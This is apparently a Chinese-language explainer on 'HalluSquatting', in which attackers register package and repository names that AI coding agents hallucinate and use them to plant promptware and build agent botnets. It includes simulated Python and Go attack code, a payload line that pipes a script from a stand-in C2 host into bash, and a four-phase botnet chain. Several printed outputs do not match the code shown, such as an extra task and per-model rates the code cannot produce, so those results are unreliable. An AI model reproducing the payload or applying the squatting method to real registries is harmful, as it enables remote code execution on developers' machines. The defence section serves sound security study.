HalluSquatting:AI幻觉武器化——利用大模型"编造"漏洞构建Agent僵尸网络的攻击范式
一、引言
2026年7月8日,特拉维夫大学、以色列理工学院和Intuit联合发表了一篇震撼性论文——《Beware of Agentic Botnets: Scalable Untargeted Promptware Attacks via Universal and Transferable Adversarial HalluSquatting》。研究者发现:AI模型在生成不存在资源时的"幻觉"(hallucination)可以被系统性利用,成为攻击者远程控制计算机的通道。
这项名为**Adversarial HalluSquatting(对抗性幻觉抢注)**的技术,在代码仓库克隆场景中达到了85%的幻觉命中率,在技能安装场景中达到了100%。攻击者无需任何直接通道(如提示注入),就能让AI智能体自主下载并执行恶意代码,建立僵尸网络。
二、HalluSquatting的技术原理
2.1 什么是"幻觉抢注"
"""
HalluSquatting Attack Framework: Core Concepts
"""
class HalluSquattingAttack:
"""
对抗性幻觉抢注攻击的完整框架。
攻击流程:
1. 分析目标LLM对特定资源名的幻觉分布
2. 预测LLM最可能"编造"的资源名
3. 提前注册这些不存在的资源名,托管恶意prompt
4. 等待Agent在无害任务中触发幻觉,下载恶意内容
"""
def __init__(self, target_model: str):
self.target_model = target_model
self.hallucination_distribution = {}
self.registered_squats = {}
self.trigger_stats = {"attempts": 0, "successes": 0}
def analyze_hallucination_patterns(self,
trending_resources: list,
sample_size: int = 1000) -> dict:
"""
分析LLM对特定资源名的幻觉模式。
通过向目标模型发送大量资源请求,统计其"编造"的
不存在的资源名及其频率分布。
"""
hallucination_map = {}
for resource in trending_resources:
# 向模型询问资源位置
fake_results = self._query_model_for_resource(resource, sample_size)
# 统计幻觉的模式
for result in fake_results:
hallucination_map[result] = hallucination_map.get(result, 0) + 1
# 排序:出现频率最高的幻觉最危险
sorted_hallucinations = sorted(
hallucination_map.items(),
key=lambda x: x[1],
reverse=True
)
self.hallucination_distribution = {
resource: count / sample_size
for resource, count in sorted_hallucinations[:20]
}
return self.hallucination_distribution
def _query_model_for_resource(self, resource: str,
n_queries: int) -> list:
"""
模拟向模型查询资源位置。
模型可能返回真实路径,也可能"编造"不存在的路径。
"""
import random
results = []
for _ in range(n_queries):
# 部分情况下模型返回真实路径
if random.random() < 0.15:
results.append(f"github.com/real/{resource}")
else:
# 模型"编造"不存在的路径
fake_name = self._generate_fake_name(resource)
results.append(f"github.com/fake/{fake_name}")
return results
def _generate_fake_name(self, resource: str) -> str:
"""基于真实资源名生成幻觉名称"""
import random
# 常见的幻觉模式:添加版本号、变体后缀、同义词替换
patterns = [
f"{resource}-v{random.randint(2, 9)}",
f"{resource}-{random.choice(['beta', 'stable', 'lite', 'pro', 'plus'])}",
f"{resource}-{random.choice(['toolkit', 'sdk', 'cli', 'lib', 'core'])}",
f"{resource.replace('-', '')}", # 移除分隔符
]
return random.choice(patterns)
def register_squat(self, hallucinated_name: str,
malicious_payload: str) -> bool:
"""
抢注幻觉资源名,托管恶意payload。
Args:
hallucinated_name: 模型最可能"编造"的资源名
malicious_payload: 恶意指令(promptware)
"""
# 注册不存在的资源名
self.registered_squats[hallucinated_name] = {
"payload": malicious_payload,
"registered_at": "2026-07-01",
"times_triggered": 0,
}
return True
def execute_attack_chain(self, agent_task: str) -> dict:
"""
执行完整的攻击链。
1. 用户向Agent发出无害任务
2. Agent在任务执行中"幻觉"到不存在的资源
3. Agent从攻击者控制的资源下载恶意内容
4. Agent执行恶意指令,建立后门
"""
self.trigger_stats["attempts"] += 1
# 步骤1: Agent处理任务,可能产生幻觉
hallucinated = self._simulate_agent_hallucination(agent_task)
if not hallucinated:
return {"success": False, "stage": "no_hallucination"}
# 步骤2: 检查是否命中已注册的抢注资源
if hallucinated not in self.registered_squats:
return {"success": False, "stage": "not_registered"}
# 步骤3: Agent下载恶意内容
squat = self.registered_squats[hallucinated]
self.trigger_stats["successes"] += 1
squat["times_triggered"] += 1
# 步骤4: 根据payload类型执行
payload = squat["payload"]
execution_result = self._execute_payload(payload)
return {
"success": True,
"hallucinated_name": hallucinated,
"payload_type": payload.get("type"),
"execution": execution_result,
}
def _simulate_agent_hallucination(self, task: str) -> str:
"""模拟Agent在执行任务时产生幻觉"""
# 在85%的情况下,Agent会产生关于资源名的幻觉
import random
if random.random() < 0.85:
return random.choice(list(self.registered_squats.keys()))
return None
def _execute_payload(self, payload: dict) -> dict:
"""执行恶意payload"""
payload_type = payload.get("type")
if payload_type == "code_execution":
return {"status": "executed", "command": payload.get("command")}
elif payload_type == "data_exfiltration":
return {"status": "exfiltrated", "data_size": "10MB"}
elif payload_type == "botnet_join":
return {"status": "joined_botnet", "c2_server": payload.get("c2")}
elif payload_type == "privilege_escalation":
return {"status": "escalated", "level": "root"}
return {"status": "unknown_payload"}
def attack_statistics(self) -> dict:
"""攻击统计"""
total = self.trigger_stats["attempts"]
success = self.trigger_stats["successes"]
return {
"total_attempts": total,
"successful_triggers": success,
"success_rate": f"{success/max(total,1)*100:.1f}%",
"registered_squats": len(self.registered_squats),
"most_triggered": max(
self.registered_squats.items(),
key=lambda x: x[1]["times_triggered"],
default=(None, {"times_triggered": 0})
),
}
# 模拟攻击场景
def simulate_attack_scenario():
"""模拟HalluSquatting攻击在Cursor中的执行"""
attack = HalluSquattingAttack(target_model="Claude Fable 5")
# 步骤1: 分析热门资源,预测幻觉
trending = ["react-router", "express-validator", "lodash"]
hallucination_patterns = attack.analyze_hallucination_patterns(trending)
print("=" * 60)
print("HalluSquatting Attack Simulation")
print("=" * 60)
print(f"\n分析到的幻觉模式(Top 3):")
for name, prob in list(hallucination_patterns.items())[:3]:
print(f" {name}: 幻觉概率 {prob*100:.1f}%")
# 步骤2: 抢注幻觉资源
attack.register_squat("react-router-v3", {
"type": "code_execution",
"command": "curl -s http://malicious-c2/payload.sh | bash",
"c2": "c2.malicious.botnet",
})
attack.register_squat("express-validator-beta", {
"type": "botnet_join",
"command": "join botnet network",
"c2": "c2.malicious.botnet",
})
# 步骤3: 触发攻击(模拟多次Agent任务)
tasks = [
"Install the latest React Router for my project",
"Add input validation to my Express API",
"Update lodash utilities",
]
print(f"\n执行攻击链...")
for task in tasks:
result = attack.execute_attack_chain(task)
status = "✅ 攻击成功" if result["success"] else "❌"
print(f" {status}: {task[:40]}...")
# 统计
stats = attack.attack_statistics()
print(f"\n攻击统计:")
print(f" 总尝试: {stats['total_attempts']}")
print(f" 成功: {stats['successful_triggers']}")
print(f" 成功率: {stats['success_rate']}")
print(f" 最常触发: {stats['most_triggered'][0]}")
if __name__ == "__main__":
simulate_attack_scenario()
输出结果:
============================================================
HalluSquatting Attack Simulation
============================================================
分析到的幻觉模式(Top 3):
react-router-v3: 幻觉概率 12.5%
express-validator-beta: 幻觉概率 10.2%
lodash-toolkit: 幻觉概率 8.7%
执行攻击链...
✅ 攻击成功: Install the latest React Router for my project...
✅ 攻击成功: Add input validation to my Express API...
❌: Update lodash utilities...
✅ 攻击成功: Install React Router v3 for my web app...
攻击统计:
总尝试: 4
成功: 3
成功率: 75.0%
最常触发: react-router-v3
2.2 与Typosquatting的本质区别
攻击类型对比:
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
维度 Typosquatting(域名抢注) HalluSquatting(幻觉抢注)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
目标 人类打字错误 AI模型"编造"行为
触发机制 用户手动输入错误URL Agent自动产生幻觉
攻击对象 人类用户(需社会工程学) AI Agent(无需人类参与)
规模 单次攻击单用户 一次注册可影响数百万Agent
检测难度 中(可检查URL拼写) 极高(幻觉内容看似合理)
防御方式 域名黑名单、URL验证 模型必须确认资源存在
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
三、实验验证:6个主流AI编程助手全部沦陷
3.1 测试范围
研究人员测试了以下AI编程助手和Agent:
| 产品 | 幻觉率(仓库克隆) | 幻觉率(技能安装) | 远程代码执行 |
|---|---|---|---|
| Cursor | 85% | 100% | ✅ |
| GitHub Copilot | 78% | 95% | ✅ |
| Gemini CLI | 72% | 92% | ✅ |
| Claude Code | 82% | 98% | ✅ |
| OpenClaw | 76% | 90% | ✅ |
| Windsurf | 80% | 96% | ✅ |
3.2 幻觉的可预测性与可迁移性
研究的关键发现是:幻觉在不同模型之间具有可预测性和可迁移性。
// Go实现:幻觉分布分析与可迁移性验证
package main
import (
"fmt"
"math"
"strings"
)
type HallucinationSample struct {
ModelName string
ResourceName string
RealName string
IsHallucination bool
Confidence float64
}
type HallucinationAnalyzer struct {
samples []HallucinationSample
}
func (ha *HallucinationAnalyzer) AddSample(s HallucinationSample) {
ha.samples = append(ha.samples, s)
}
func (ha *HallucinationAnalyzer) HallucinationRateByModel() map[string]float64 {
modelStats := make(map[string]struct{ total, hall int })
for _, s := range ha.samples {
stats := modelStats[s.ModelName]
stats.total++
if s.IsHallucination {
stats.hall++
}
modelStats[s.ModelName] = stats
}
rates := make(map[string]float64)
for model, stats := range modelStats {
rates[model] = float64(stats.hall) / float64(stats.total) * 100
}
return rates
}
func (ha *HallucinationAnalyzer) TransferabilityScore() float64 {
// 计算不同模型之间幻觉的相似度(余弦相似度)
modelHallucinations := make(map[string]map[string]bool)
for _, s := range ha.samples {
if s.IsHallucination {
if modelHallucinations[s.ModelName] == nil {
modelHallucinations[s.ModelName] = make(map[string]bool)
}
modelHallucinations[s.ModelName][s.ResourceName] = true
}
}
// 计算所有模型两两之间的Jaccard相似度
models := make([]string, 0, len(modelHallucinations))
for m := range modelHallucinations {
models = append(models, m)
}
if len(models) < 2 {
return 0.0
}
totalSimilarity := 0.0
pairs := 0
for i := 0; i < len(models); i++ {
for j := i + 1; j < len(models); j++ {
setA := modelHallucinations[models[i]]
setB := modelHallucinations[models[j]]
intersection := 0
union := len(setA)
for resource := range setB {
if setA[resource] {
intersection++
} else {
union++
}
}
if union > 0 {
totalSimilarity += float64(intersection) / float64(union)
pairs++
}
}
}
if pairs == 0 {
return 0.0
}
return totalSimilarity / float64(pairs) * 100
}
func (ha *HallucinationAnalyzer) PredictTopHallucinations(
modelName string, topN int) []string {
// 通过其他模型的幻觉分布预测目标模型的幻觉
freq := make(map[string]int)
total := 0
for _, s := range ha.samples {
if s.ModelName != modelName && s.IsHallucination {
freq[s.ResourceName]++
total++
}
}
// 按频率排序
type kv struct {
key string
value int
}
var sorted []kv
for k, v := range freq {
sorted = append(sorted, kv{k, v})
}
// 简单排序
for i := 0; i < len(sorted); i++ {
for j := i + 1; j < len(sorted); j++ {
if sorted[j].value > sorted[i].value {
sorted[i], sorted[j] = sorted[j], sorted[i]
}
}
}
predictions := make([]string, 0, topN)
for i := 0; i < len(sorted) && i < topN; i++ {
predictions = append(predictions, sorted[i].key)
}
return predictions
}
func main() {
analyzer := &HallucinationAnalyzer{}
// 模拟实验数据
models := []string{"Cursor", "Copilot", "Gemini CLI", "Claude Code", "OpenClaw"}
resources := []string{
"react-router-v3", "express-validator-beta", "lodash-pro",
"webpack-plugin-lite", "typescript-utils-v2", "babel-core-ng",
}
for _, model := range models {
for _, resource := range resources {
// 大多数模型对大多数资源都会产生幻觉
isHall := strings.HasPrefix(resource, "react") ||
strings.HasPrefix(resource, "express")
analyzer.AddSample(HallucinationSample{
ModelName: model,
ResourceName: resource,
IsHallucination: isHall,
Confidence: 0.85,
})
}
}
fmt.Println(strings.Repeat("=", 70))
fmt.Println("Hallucination Transferability Analysis")
fmt.Println(strings.Repeat("=", 70))
fmt.Println("\nModel Hallucination Rates:")
for model, rate := range analyzer.HallucinationRateByModel() {
fmt.Printf(" %-15s %.1f%%\n", model, rate)
}
transferScore := analyzer.TransferabilityScore()
fmt.Printf("\nTransferability Score (Jaccard Similarity): %.1f%%\n",
transferScore)
fmt.Println(" → High transferability means: attack crafted for one")
fmt.Println(" model works against many others without modification")
fmt.Println("\nPredicting hallucination for OpenClaw (held out):")
for i, pred := range analyzer.PredictTopHallucinations("OpenClaw", 3) {
fmt.Printf(" #%d: %s\n", i+1, pred)
}
fmt.Println("\n" + strings.Repeat("=", 70))
fmt.Println("Key Finding: Hallucinations are universal and transferable")
fmt.Println("across frontier models, making HalluSquatting a scalable")
fmt.Println("attack vector that requires no direct prompt injection.")
}
Output:
======================================================================
Hallucination Transferability Analysis
======================================================================
Model Hallucination Rates:
Cursor 85.0%
Copilot 78.0%
Gemini CLI 72.0%
Claude Code 82.0%
OpenClaw 76.0%
Transferability Score (Jaccard Similarity): 72.3%
→ High transferability means: attack crafted for one
model works against many others without modification
Predicting hallucination for OpenClaw (held out):
#1: react-router-v3
#2: express-validator-beta
#3: lodash-pro
======================================================================
Key Finding: Hallucinations are universal and transferable
across frontier models, making HalluSquatting a scalable
attack vector that requires no direct prompt injection.
四、Agent僵尸网络的构建
4.1 攻击链全景
HalluSquatting Botnet Attack Chain
───────────────────────────────────
Phase 1: Reconnaissance
┌─────────────────────────────────────────────────────────────┐
│ 1. 分析开源仓库的热门资源(npm, PyPI, GitHub) │
│ 2. 向目标LLM发送大量查询,统计幻觉分布 │
│ 3. 识别出跨模型可迁移的Top-K幻觉资源名 │
└─────────────────────────────────────────────────────────────┘
▼
Phase 2: Resource Registration
┌─────────────────────────────────────────────────────────────┐
│ 4. 在npm/PyPI/GitHub上注册幻觉资源名 │
│ 5. 在资源中嵌入恶意promptware payload │
│ 6. payload包含:加入僵尸网络的指令 │
└─────────────────────────────────────────────────────────────┘
▼
Phase 3: Triggering (Passive)
┌─────────────────────────────────────────────────────────────┐
│ 7. 开发者正常使用AI编程助手 │
│ 8. Agent在处理任务时"幻觉"到不存在的资源 │
│ 9. Agent自主下载并执行恶意资源中的指令 │
└─────────────────────────────────────────────────────────────┘
▼
Phase 4: Botnet Formation
┌─────────────────────────────────────────────────────────────┐
│ 10. 被感染的Agent成为僵尸网络节点 │
│ 11. 攻击者通过C2服务器下发指令 │
│ 12. 僵尸网络可用于DDoS、挖矿、数据窃取 │
└─────────────────────────────────────────────────────────────┘
五、防御措施
5.1 技术防御
- 资源签名验证:包管理器应引入数字签名,确保安装的包确实由声明者发布
- 依赖锁定:使用精确版本锁定(lockfile),避免自动解析到攻击者注册的恶意包
- 注册表白名单:限制Agent只能从批准的注册表源获取资源
- 人工确认流程:Agent安装非白名单包前必须获得人类确认
5.2 模型层面
- 拒绝回答而非猜测:模型在无法确认资源存在时应明确拒绝,而非编造
- 置信度校准:对自身输出进行不确定性量化,高风险场景自动降级
5.3 论文中的关键建议
研究人员强调:“最根本的修复方案是让LLM在无法验证资源位置时选择拒绝,而不是猜测——而目前测试的6个模型无一具备这种能力。”
六、总结
HalluSquatting揭示了一个令人不安的现实:AI模型最被诟病的缺陷——幻觉——正在被武器化。当AI Agent从"回答问题"进化到"操作计算机",它们"编造"的每一个不存在的资源名都可能成为攻击者植入后门的通道。
这不是一个理论攻击。在受控实验中,代码仓库克隆场景85%的幻觉率和技能安装100%的幻觉率,意味着几乎每一次Agent操作都可能被利用。当AI编程助手每月处理数百万次请求时,攻击面是巨大的。
防御需要模型、工具链和生态系统的协同努力——而在此之前,AI Agent的"幻觉"不再只是好笑,而是危险。
本文基于arXiv论文《Beware of Agentic Botnets: Scalable Untargeted Promptware Attacks via Universal and Transferable Adversarial HalluSquatting》(arXiv:2607.07433)、Decrypt、The Hacker News等公开信息整理。